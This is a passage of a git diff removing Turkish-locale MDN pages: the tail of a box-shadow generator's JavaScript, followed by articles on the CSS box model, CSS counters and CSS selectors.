- var layer = document.createElement('div'); - var del = document.createElement('span'); - - layer.className = 'node'; - layer.setAttribute('data-shid', uid); - layer.setAttribute('data-type', 'layer'); - layer.textContent = 'shadow ' + uid; - - del.className = 'delete'; - del.setAttribute('data-type', 'delete'); - - layer.appendChild(del); - return layer; - } - - Stack.prototype.getUID = function getUID() { - return this.uid++; - } - - // SOLVE IE BUG - Stack.prototype.moveLayer = function moveLayer(direction) { - if (this.count <= 1 || this.layer === null) - return; - if (direction === -1 && this.layerID === (this.count - 1) ) - return; - if (direction === 1 && this.layerID === 0 ) - return; - - if (direction === -1) { - var before = null; - Tool.swapShadow(this.layerID, this.layerID + 1); - this.swapOrder(this.layerID, this.layerID + 1); - this.layerID += 1; - - if (this.layerID + 1 !== this.count) - before = this.stack.children[this.layerID + 1]; - - this.stack.insertBefore(this.layer, before); - Tool.setActiveShadow(this.layerID, false); - } - - if (direction === 1) { - Tool.swapShadow(this.layerID, this.layerID - 1); - this.swapOrder(this.layerID, this.layerID - 1); - this.layerID -= 1; - this.stack.insertBefore(this.layer, this.stack.children[this.layerID]); - Tool.setActiveShadow(this.layerID, false); - } - } - - Stack.prototype.swapOrder = function swapOrder(pos1, pos2) { - var x = this.order[pos1]; - this.order[pos1] = this.order[pos2]; - this.order[pos2] = x; - } - - Stack.prototype.deleteLayer = function deleteLayer(node) { - var shadowID = node.getAttribute('data-shid') | 0; - var index = this.order.indexOf(shadowID); - this.stack.removeChild(this.stack.children[index]); - this.order.splice(index, 1); - this.count--; - - Tool.deleteShadow(index); - - if (index > this.layerID) - return; - - if (index == this.layerID) { - if (this.count >= 1) { - this.layerID = 0; - this.setActiveLayer(this.stack.children[0], true); - } - else { - this.layer = null; - this.show(); - } - } - - if (index < this.layerID) { - this.layerID--; - Tool.setActiveShadow(this.layerID, true); - } - - } - - Stack.prototype.setActiveLayer = function setActiveLayer(node) { - elements.shadow_properties.style.display = 'block'; - elements.element_properties.style.display = 'none'; - - if (this.layer) - this.layer.removeAttribute('data-active'); - - this.layer = node; - this.layer.setAttribute('data-active', 'layer'); - - var shadowID = node.getAttribute('data-shid') | 0; - this.layerID = this.order.indexOf(shadowID); - Tool.setActiveShadow(this.layerID, true); - } - - Stack.prototype.unsetActiveLayer = function unsetActiveLayer() { - if (this.layer) - this.layer.removeAttribute('data-active'); - - this.layer = null; - this.layerID = 0; - } - - Stack.prototype.hide = function hide() { - this.unsetActiveLayer(); - this.subject.removeAttribute('data-active'); - var style = this.container.style; - style.left = '100%'; - style.zIndex = '0'; - } - - Stack.prototype.show = function show() { - elements.shadow_properties.style.display = 'none'; - elements.element_properties.style.display = 'block'; - - if (this.id === 'element') { - elements.zIndex.style.display = 'none'; - elements.transform_rotate.style.display = 'none'; - } - else { - elements.zIndex.style.display = 'block'; - elements.transform_rotate.style.display = 'block'; - } - - this.subject.setAttribute('data-active', 'subject'); - var style = this.container.style; - style.left = '0'; - style.zIndex = '10'; - Tool.setActiveClass(this.id); - } - - function init() { - - var elem, size; - var layerManager = getElemById("layer_manager"); - var layerMenu = getElemById("layer_menu"); - var container = getElemById("stack_container"); - - elements.shadow_properties = getElemById('shadow_properties'); - elements.element_properties = getElemById('element_properties'); - elements.transform_rotate = getElemById('transform_rotate'); - elements.zIndex = getElemById('z-index'); - - elem = document.querySelectorAll('#layer_menu [data-type="subject"]'); - size = elem.length; - - for (var i = 0; i < size; i++) { - var S = new Stack(elem[i]); - stacks[elem[i].id] = S; - container.appendChild(S.container); - Tool.addCssClass(elem[i].id); - } - - active.stack = stacks['element']; - stacks['element'].show(); - - layerManager.addEventListener("click", mouseEvents); - layerMenu.addEventListener("click", mouseEvents); - - ButtonManager.subscribe("before", function(value) { - if (value === false && active.stack === stacks['before']) - setActiveStack(stacks['element']) - if (value === true && active.stack !== stacks['before']) - setActiveStack(stacks['before']) - }); - - ButtonManager.subscribe("after", function(value) { - if (value === false && active.stack === stacks['after']) - setActiveStack(stacks['element']) - if (value === true && active.stack !== stacks['after']) - setActiveStack(stacks['after']) - }); - } - - return { - init : init - } - })(); - - /* - * OutputManager - */ - var OutputManager = (function OutputManager() { - var classes = []; - var buttons = []; - var active = null; - var menu = null; - var button_offset = 0; - - var crateOutputNode = function(topic, property) { - - var prop = document.createElement('div'); - var name = document.createElement('span'); - var value = document.createElement('span'); - - var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i); - - name.textContent = '\t' + pmatch[4]; - - if (pmatch[3] !== undefined) { - name.textContent = '\t' + pmatch[2]; - value.textContent = pmatch[3] + ';'; - } - - name.textContent += ': '; - prop.className = 'css-property'; - name.className = 'name'; - value.className = 'value'; - prop.appendChild(name); - prop.appendChild(value); - - classes[topic].node.appendChild(prop); - classes[topic].line[property] = prop; - classes[topic].prop[property] = value; - } - - var OutputClass = function OutputClass(node) { - var topic = node.getAttribute('data-topic'); - var prop = node.getAttribute('data-prop'); - var name = node.getAttribute('data-name'); - var properties = prop.split(' '); - - classes[topic] = {}; - classes[topic].node = node; - classes[topic].prop = []; - classes[topic].line = []; - classes[topic].button = new Button(topic); - - var open_decl = document.createElement('div'); - var end_decl = document.createElement('div'); - - open_decl.textContent = name + ' {'; - end_decl.textContent = '}'; - node.appendChild(open_decl); - - for (var i in properties) - crateOutputNode(topic, properties[i]); - - node.appendChild(end_decl); - } - - var Button = function Button(topic) { - var button = document.createElement('div'); - - button.className = 'button'; - button.textContent = topic; - button.style.left = button_offset + 'px'; - button_offset += 100; - - button.addEventListener("click", function() { - toggleDisplay(topic); - }) - - menu.appendChild(button); - return button; - } - - var toggleDisplay = function toggleDisplay(topic) { - active.button.removeAttribute('data-active'); - active.node.style.display = 'none'; - active = classes[topic]; - active.node.style.display = 'block'; - active.button.setAttribute('data-active', 'true'); - } - - var toggleButton = function toggleButton(topic, value) { - var display = (value === true) ? 'block' : 'none'; - classes[topic].button.style.display = display; - - if (value === true) - toggleDisplay(topic); - else - toggleDisplay('element'); - } - - var updateProperty = function updateProperty(topic, property, data) { - try { - classes[topic].prop[property].textContent = data + ';'; - } - catch(error) { - // console.log("ERROR undefined : ", topic, property, data); - } - } - - var toggleProperty = function toggleProperty(topic, property, value) { - var display = (value === true) ? 'block' : 'none'; - try { - classes[topic].line[property].style.display = display; - } - catch(error) { - // console.log("ERROR undefined : ",classes, topic, property, value); - } - } - - var init = function init() { - - menu = getElemById('menu'); - - var elem = document.querySelectorAll('#output .output'); - var size = elem.length; - for (var i = 0; i < size; i++) - OutputClass(elem[i]); - - active = classes['element']; - toggleDisplay('element'); - - ButtonManager.subscribe("before", function(value) { - toggleButton('before', value); - }); - - ButtonManager.subscribe("after", function(value) { - toggleButton('after', value); - }); - } - - return { - init : init, - updateProperty : updateProperty, - toggleProperty : toggleProperty - } - - })(); - - - /** - * Init Tool - */ - var init = function init() { - ButtonManager.init(); - OutputManager.init(); - ColoPicker.init(); - SliderManager.init(); - LayerManager.init(); - PreviewMouseTracking.init("preview"); - Tool.init(); - } - - return { - init : init - } - -})(); - - -</code></pre> -</div> - -<div>{{ EmbedLiveSample('box-shadow_generator', '100%', '1100px', '') }}</div> - -<p><strong>Related Tool: </strong><a href="https://cssgenerator.org/box-shadow-css-generator.html">Box Shadow CSS Generator</a></p> diff --git a/files/tr/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/tr/web/css/css_box_model/introduction_to_the_css_box_model/index.html deleted file mode 100644 index f93bbe1292..0000000000 --- a/files/tr/web/css/css_box_model/introduction_to_the_css_box_model/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Kutu modeli -slug: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model -tags: - - CSS - - Kutu Modeli -translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model -original_slug: Web/CSS/box_model ---- -<h2 id="Özet">Özet</h2> - -<p>Bir döküman içerisinde, her eleman bir dikdörtgen kutu şeklinde sunulur. Bu kutuların boyutları, özellikleri — örneğin renkleri, arkaplanı, border görünümü — ve pozisyonlarını belirlemek, rendering motorunun görevidir.</p> - -<p>CSS içinde, tüm bu dikdörtgen kutular tanımlanırken standart kutu modeli (box model) olarak tanımlanırlar Bu model, elemanın içeriğinin kaplayacağı alanı tanımlar. Her kutunun dört kenarı bulunur: <strong>margin kenarı</strong>, <strong>border kenarı</strong>, <strong>padding kenarı</strong> ve <strong>içerik kenarı</strong>.</p> - -<p><img alt="CSS Box model" src="https://mdn.mozillademos.org/files/11171/boxmodel-%283%29.png" style="height: 384px; width: 548px;"></p> - -<p><a name="content"></a><strong>İçerik alanı, </strong>gerçekten elemanın içeriğinin kapladığı alandır. Sıklıkla bir backgroundu, rengi veya imajı bulunur ve içerik kenarından iç kısımda yer alır, ebatları içerik genişliği veya içerik-kutu genişliği ve içerik yüksekliği veya içerik-kutu yüksekliğidir.</p> - -<p>Eğer CSS'in {{ cssxref("box-sizing") }} özelliği varsayılan olarak ayarlandıysa, CSS özellikleri {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} ve {{ cssxref("max-height") }} içerik boyutunu kontrol eder.</p> - -<p><a name="padding"></a><strong>Padding alanı </strong>borderın etrafını içeriden çevreleyen bir dolgu şeklinde genişler. İçerik alanı background, renk ya da imaj barındırıyorsa bunlar da padding'in içine doğru genişler, bu sayede paddingin içeriği genişleten bir olgu olduğunu düşünebilirsiniz. Padding, padding kenarının içinde yer alır ve ebatları padding-box genişliği ve padding-box yüksekliğidir.</p> - -<p>Padding kenarı ve içerik arasındaki boşluk {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }} CSS özellikleri ve {{ cssxref("padding") }} CSS kısa yazım biçimi ile kontrol edilir.</p> - -<p><a name="border"></a><strong>Border alanı </strong>padding alanını<strong> </strong>border içeren alanı kullanarak genişlerit. Border kenarı içindeki alandır ve ebatları border-box genişliği ve border-box yüksekliği olarak tanımlanır. Bu alan borderın {{ cssxref("border-width") }} özelliği veya {{ cssxref("border") }} kısa yazımı kullanılarak belirlenir.</p> - -<p><a name="margin"></a><strong>Margin alanı </strong>border alanını boş alana doğru genişletir ve elemanları komşu elemanlardan ayırmak için kullanılır. Bu alan <em>margin kenarı </em>içindeki alandır, ve ebatları margin-box genişliği ve margin-box yüksekliğidir.</p> - -<p>Margin alanının boyutları {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} ve {{ cssxref("margin") }} kısa yazımı CSS özellikleri kullanılarak kontrol edilir.</p> - -<p><a href="/en/CSS/margin_collapsing" title="en/CSS/margin_collapsing">margin collapsing</a> oluştuğunda, margin alanları kutular arasında paylaştırılmadıkça düzgün bir şekilde tanımlanmış olmaz.</p> - -<p>Son olarak, unutmayın ki, özelliği değiştirilmemiş inline elemanlar için, içeriğin etrafında görsel olarak border ve padding görünse bile, kaplanacak alan miktarını (satırın yüksekliğine destek olarak) belirleyen özellik CSS'in {{ cssxref('line-height') }} özelliğidir.</p> - -<h2 id="Özellikleri">Özellikleri</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Özellik</th> - <th scope="col">Durum</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ SpecName("CSS2.1","box.html#box-dimensions")}}</td> - <td>{{ Spec2('CSS2.1') }}</td> - <td> - <p>Tamamen daha fazla tanımlaması bulunsa da pratikte değişiklik bulunmuyor</p> - </td> - </tr> - <tr> - <td>{{ SpecName("CSS1","#formatting-model")}}</td> - <td>{{ Spec2('CSS1') }}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Bunlara_da_bakın">Bunlara da bakın</h2> - -<ul> - <li><a href="/en/CSS/CSS_Reference" title="CSS Reference">CSS Reference</a></li> - <li>{{ CSS_key_concepts() }}</li> - <li>İlgili CSS özellikleri: {{ cssxref("box-sizing") }}, {{ cssxref("background-clip") }}, {{ cssxref("height") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("width") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("padding") }}, {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }}, {{ cssxref("border") }}, {{ cssxref("border-top") }}, {{ cssxref("border-right") }}, {{ cssxref("border-bottom") }}, {{ cssxref("border-left") }}, {{ cssxref("border-width") }}, {{ cssxref("border-top-width") }}, {{ cssxref("border-right-width") }}, {{ cssxref("border-bottom-width") }}, {{ cssxref("border-left-width") }}, {{ cssxref("margin") }}, {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }}</li> -</ul> diff --git a/files/tr/web/css/css_lists_and_counters/using_css_counters/index.html b/files/tr/web/css/css_lists_and_counters/using_css_counters/index.html deleted file mode 100644 index bc33ddb4dd..0000000000 --- a/files/tr/web/css/css_lists_and_counters/using_css_counters/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: CSS Sayaçlarını Kullanmak -slug: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters -tags: - - CSS - - CSS Counter - - CSS Sayaçlar - - MDN - - Sayaçlar -translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters -original_slug: Web/Guide/CSS/Sayaçlar ---- -<p>{{CSSRef}}</p> -<p><span class="seoSummary">CSS counters are, in essence, variables maintained by CSS whose values may be incremented by CSS rules to track how many times they're used. This lets you adjust the appearance of content based on its placement in the document.</span> CSS counters are an implementation of <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#counters">Automatic counters and numbering</a> in CSS 2.1.</p> -<p>The value of a counter is manipulated through the use of {{cssxref("counter-reset")}} and {{cssxref("counter-increment")}} can be displayed on a page using the <code>counter()</code> or <code>counters()</code> function of the <code><a href="/en-US/docs/CSS/content" title="CSS/content">content</a></code> property.</p> -<h2 id="Using_counters" name="Using_counters">Sayaçları kullanmak</h2> -<p>To use a CSS counter, it must first be reset to a value, 0 by default. To add the value of a counter to an element, use the counter() function. The following CSS adds to the beginning of each h3 element "Section <the value of the counter>:".</p> -<pre class="brush: css">body { - counter-reset: bolum; /* bolum adlı sayacın değerini 0 olarak ayarla */ -} -h3:before { - counter-increment: bolum; /* bolum adlı sayacı arttır */ - content: "Bölüm" counter(bolum) ": "; /* Sayacı görüntüle */ -} -</pre> -<p>Örnek:</p> -<pre class="brush: html"><h3>Giriş</h3> -<h3>Gövde</h3> -<h3>Sonuç</h3></pre> -<p>{{ EmbedLiveSample('Using_counters', 300,200) }}</p> -<h2 id="Nesting_counters" name="Nesting_counters">Nesting counters</h2> -<p>A CSS counter can be especially useful to make outlined lists because a new instance of a CSS counter is automatically created in child elements. Using the <code>counters()</code> function, a string can be inserted between different levels of nested counters. For example this CSS:</p> -<pre class="brush: css">ol { - counter-reset: section; /* Creates a new instance of the - section counter with each ol - element */ - list-style-type: none; -} -li:before { - counter-increment: section; /* Increments only this instance - of the section counter */ - content: counters(section,".") " "; /* Adds the value of all instances - of the section counter separated - by a ".". */ - /* if you need to support < IE8 then - make sure there is no space after - the ',' -} -</pre> -<p>Combined with the following HTML:</p> -<pre class="brush: html"><ol> - <li>item</li> <!-- 1 --> - <li>item <!-- 2 --> - <ol> - <li>item</li> <!-- 2.1 --> - <li>item</li> <!-- 2.2 --> - <li>item <!-- 2.3 --> - <ol> - <li>item</li> <!-- 2.3.1 --> - <li>item</li> <!-- 2.3.2 --> - </ol> - <ol> - <li>item</li> <!-- 2.3.1 --> - <li>item</li> <!-- 2.3.2 --> - <li>item</li> <!-- 2.3.3 --> - </ol> - </li> - <li>item</li> <!-- 2.4 --> - </ol> - </li> - <li>item</li> <!-- 3 --> - <li>item</li> <!-- 4 --> -</ol> -<ol> - <li>item</li> <!-- 1 --> - <li>item</li> <!-- 2 --> -</ol></pre> -<p>Yields this result:</p> -<p>{{ EmbedLiveSample('Nesting_counters',400,'100%') }}</p> -<h2 id="Specifications" name="Specifications">Specifications</h2> -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS2.1', 'generate.html#generate.html#counters', 'counter-reset')}}</td> - <td>{{Spec2('CSS2.1')}}</td> - <td> </td> - </tr> - </tbody> -</table> -<h2 id="See_also" name="See_also">See also</h2> -<ul> - <li><a href="/en-US/docs/CSS/counter-reset" title="CSS/counter-reset">counter-reset</a></li> - <li><a href="/en-US/docs/CSS/counter-increment" title="CSS/counter-increment">counter-increment</a></li> -</ul> -<p><em>There is an additional example available at <a class="external" href="http://www.mezzoblue.com/archives/2006/11/01/counter_intu/" rel="freelink">http://www.mezzoblue.com/archives/20.../counter_intu/</a>. This blog entry was posted on November 01, 2006, but appears to be accurate.</em></p> -<p> </p> diff --git a/files/tr/web/css/css_selectors/index.html b/files/tr/web/css/css_selectors/index.html deleted file mode 100644 index af5308fe63..0000000000 --- a/files/tr/web/css/css_selectors/index.html +++ /dev/null @@ -1,233 +0,0 @@ ---- -title: CSS seçiciler -slug: Web/CSS/CSS_Selectors -tags: - - Başlangıç - - CSS - - Nitelik - - Sozde - - id - - oğrenin - - seçiciler - - sınıf -translation_of: Web/CSS/CSS_Selectors -original_slug: Öğren/CSS/CSS_yapi_taslari/Selectors ---- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</div> - -<p class="summary">Biz {{Glossary("CSS")}}'i, HTML'de şekillendirmek istediğimiz elemanları hedeflemek için kullanırız. Şekillendireceğimiz elemanları seçmek için CSS'de kullanabileceğimiz bir çok seçeneği olan CSS seçicileri vardır. Bu makale ve alt makalelerinde, nasıl çalıştıklarını görerek farklı türleri ayrıntılı olarak ele alacağız</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a href="/tr/docs/Learn/CSS/First_steps">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>CSS seçicilerin nasıl çalıştığını ayrıntılı olarak öğrenmek</td> - </tr> - </tbody> -</table> - -<h2 id="Seçici_nedir">Seçici nedir?</h2> - -<p>Zaten tanıştınız. Bir CSS seçici, bir CSS kuralının ilk kısmıdır. Bu, tarayacıya, kural içindeki CSS özellik değerlerinin uygulanabilmesi için hangi HTML elemanlarının seçilmesi gerektiğini söyleyen etiketlerden ve diğer terimlerden oluşan bir kalıptır. Seçici tarafından seçilen eleman veya elemanlar, seçicinin <em>konusu</em> olarak anılır.</p> - -<p><img alt="Some code with the h1 highlighted." src="https://mdn.mozillademos.org/files/16550/selector.png" style="border: 1px solid #cccccc; height: 218px; width: 471px;"></p> - -<p>Daha önceki makalelerde, bazı farklı seçicilerle tanıştınız ve belgeyi farklı şekillerde hedefleyen seçiciler olduğunu öğrendiniz — örneğin, bir eleman seçici <code>h1</code> veya sınıf seçici <code>.special</code> gibi.</p> - -<p>CSS'de, seçiciler CSS Seçiciler spesifikasyonunda tanımlanır; CSS'in herhangi bir parçasının çalışabilmesi için tarayıcılarda destekleniyor olması gerekir. karşılaşacağınız seçicilerin çoğu, olgun bir özellik olan <a href="https://www.w3.org/TR/selectors-3/">Seviye 3 Seçiciler spesifikasyonunda</a> tanımlanmıştır, bu nedenle bu seçiciler için mükemmel tarayıcı desteği bulacaksınız.</p> - -<h2 id="Seçici_listeleri">Seçici listeleri</h2> - -<p>Aynı CSS kurallarını kullanan birden fazla elemana sahipseniz, bunları ayrı ayrı seçicilerle yazabileceğiniz gibi, bir <em>seçici listesinde</em> birleştirebilirsiniz. Örneğin, aynı CSS'i kullanan <code>h1</code> eleman seçicim ve <code>.special</code> sınıf seçicim olsun. Bunu iki ayrı kural olarak yazabilirim.</p> - -<pre class="brush: css notranslate"><code>h1 { - color: blue; -} - -.special { - color: blue; -} </code></pre> - -<p>Ayrıca aralarına virgül ekleyerek bunları bir seçim listesinde birleştirebilirim.</p> - -<pre class="brush: css notranslate"><code>h1, .special { - color: blue; -} </code></pre> - -<p>Beyaz boşluk virgülden önce veya sonra gelebilir. Ayrıca, her birini ayrı satırlarda yazarsanız, seçicileri daha okunaklı bulabilirsiniz. Bu tamamen sizin tercihiniz CSS her iki şekildeki kullanımı aynı yorumlayacaktır.</p> - -<pre class="brush: css notranslate"><code>h1, -.special { - color: blue; -} </code></pre> - -<p>Aşağıdaki canlı örnekte, aynı bildirimlere sahip iki seçiciyi birleştirmeyi deneyin. Görsel sunum birleştirildikten sonra aynı olmalıdır.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/selector-list.html", '100%', 1000)}} </p> - -<p>Seçicileri bu şekilde gruplandığınızda, herhangi bir seçici geçersizse, kuralın tamamı yok sayılacaktır.</p> - -<p>Aşağıdaki örnekte, geçersiz sınıf seçici kuralı yok sayılacak, oysa <code>h1</code> şekillendirmesi hala uygulanacaktır.</p> - -<pre class="brush: css notranslate"><code>h1 { - color: blue; -} - -..special { - color: blue; -} </code></pre> - -<p>Ancak birleştirildiğinde, kuralın tamamı geçersiz sayıldığı için ne sınıf ne de <code>h1</code> elemanı biçimlendirilmez</p> - -<pre class="brush: css notranslate"><code>h1, ..special { - color: blue; -} </code></pre> - -<h2 id="Seçici_türleri">Seçici türleri</h2> - -<p>Birkaç farklı seçici grubu vardır ve hangi tür seçiciye ihtiyacınız olabileceğini bilmek, iş için doğru aracı bulmanıza yardımcı olacaktır..</p> - -<h3 id="Tür_sınıf_ve_kimlik_seçicileri">Tür, sınıf ve kimlik seçicileri</h3> - -<p>Bu grup, bir HTML nesnesini hedefleyen seçiciler içerir <code><h1></code>:</p> - -<pre class="brush: css notranslate">h1 { }</pre> - -<p>Ayrıca bir sınıfı hedefleyen seçicileri de içerir <code>class</code>:</p> - -<pre class="brush: css notranslate">.box { }</pre> - -<p>veya bir kimlik <code>id</code>:</p> - -<pre class="brush: css notranslate">#unique { }</pre> - -<h3 id="Nitelik_seçiciler">Nitelik seçiciler</h3> - -<p>Bu seçici grubu, bir elemandaki belirli bir niteğin varlığına bağlı olarak elemanları seçmemiz için bize farklı yollar sunar:</p> - -<pre class="brush: css notranslate">a[title] { }</pre> - -<p>Veya belirli bir değere sahip bir niteliğin varlığına göre bir seçim yapabiliriz:</p> - -<pre class="brush: css notranslate">a[href="https://example.com"] { }</pre> - -<h3 id="Sözde_sınıflar_ve_sözde_elemanlar">Sözde sınıflar ve sözde elemanlar</h3> - -<p>Bu seçici grubu, bir elemanın belirli durumlarını biçimlendiren sözde sınıfları içerir. Örneğin <code>:hover</code> sözde sınıfı bir elemanın üzerine fare imleci ile gelindiğinde elemanın nasıl şekillendirileceğini seçer:</p> - -<pre class="brush: css notranslate">a:hover { }</pre> - -<p>Ayrıca, elemanın kendisinden ziyade bir öğenin belirli bir bölümünü seçen sözde elemanları da içerir. Örneğin <code>::first-line</code> her zaman bir elemanın içindeki ilk metin satırını seçer (<code><p></code> şağıdaki durumda, sanki ilk satırın etrafı <code><span></code> etiketiyle sarılmış ve sonra seçilmiş gibi davranır.</p> - -<pre class="brush: css notranslate">p::first-line { }</pre> - -<h3 id="Birleştiriciler">Birleştiriciler</h3> - -<p>Son seçici grubu, belgelerimizdeki öğeleri hedeflemek için diğer seçicileri birleştirir. Öreğin, aşağıdaki <code><article></code> eleman etiketi (<code>></code>) ile kullanılarak doğrudan çocukları olan paragraf elemanlarını seçer:</p> - -<pre class="brush: css notranslate">article > p { }</pre> - -<h2 id="Sonraki_adımlar">Sonraki adımlar</h2> - -<p>Bu makale böllümündeki veya genel olarak MDN'deki çeşitli seçici türlerine doğrudan bağlantılar için aşağıdaki seçiciler referan tablosuna bakabilir veya <a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">tür, sınıf ve kimlik seçicileri</a> makalesine devam ederek yolculuğunuza başlayabilirsiniz.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Seçicilerin_referans_tablosu">Seçicilerin referans tablosu</h2> - -<p>Aşağıdaki tablo, her bir seçici türünü nasıl kullanacağınızı gösteren bu kılavuzdaki sayfalara bağlantılarla birlikte, kullanabileceğiniz seçicilere genel bir bakış sunar. Ayrıca, tarayıcı destek bilgilerini kontrol edebileceğiniz her seçici için MDN sayfasına bir bağlantı ekledim. Bunu, geliştirme aşamasında yada css ile denemeler yaparken başvuracağınız bir kaynak olarak kullanabilirsiniz.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Seçici</th> - <th scope="col">Örnek</th> - <th scope="col">CSS makaleleri</th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="/tr/docs/Web/CSS/Type_selectors">Tür seçici</a></td> - <td><code>h1 { }</code></td> - <td><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#Type_selectors">Tür seçiciler</a></td> - </tr> - <tr> - <td><a href="/tr/docs/Web/CSS/Universal_selectors">Evrensel seçici</a></td> - <td><code>* { }</code></td> - <td><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#The_universal_selector">Evrensel seçici</a></td> - </tr> - <tr> - <td><a href="/tr/docs/Web/CSS/Class_selectors">Sınıf seçici</a></td> - <td><code>.box { }</code></td> - <td><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#Class_selectors">Sınıf seçici</a></td> - </tr> - <tr> - <td><a href="/tr/docs/Web/CSS/ID_selectors">Kimlik seçici</a></td> - <td><code>#unique { }</code></td> - <td><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#ID_Selectors">Kimlik seçici</a></td> - </tr> - <tr> - <td><a href="/tr/docs/Web/CSS/Attribute_selectors">Nitelik seçici</a></td> - <td><code>a[title] { }</code></td> - <td><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></td> - </tr> - <tr> - <td><a href="/tr/docs/Web/CSS/Pseudo-classes">Sözde sınıf seçici</a></td> - <td><code>p:first-child { }</code></td> - <td><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-class">Sözde sınıflar</a></td> - </tr> - <tr> - <td><a href="/tr/docs/Web/CSS/Pseudo-elements">Sözde elelman seçici</a></td> - <td><code>p::first-line { }</code></td> - <td><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-element">Sözde eleman</a></td> - </tr> - <tr> - <td><a href="/tr/docs/Web/CSS/Descendant_combinator">Torun birleştiricisi</a></td> - <td><code>article p</code></td> - <td><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators#Descendant_Selector">Torun birleştirici</a></td> - </tr> - <tr> - <td><a href="/tr/docs/Web/CSS/Child_combinator">Çocuk birleştiricisi</a></td> - <td><code>article > p</code></td> - <td><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators#Child_combinator">Çocuk birleştirici</a></td> - </tr> - <tr> - <td><a href="/tr/docs/Web/CSS/Adjacent_sibling_combinator">Bitişik kardeş birleştiricisi</a></td> - <td><code>h1 + p</code></td> - <td><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators#Adjacent_sibling">Bitişik kardeş</a></td> - </tr> - <tr> - <td><a href="/tr/docs/Web/CSS/General_sibling_combinator">Genel kardeş birleştiricisi</a></td> - <td><code>h1 ~ p</code></td> - <td><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators#General_sibling">Genel kardeş</a></td> - </tr> - </tbody> -</table> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde elemanlar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a 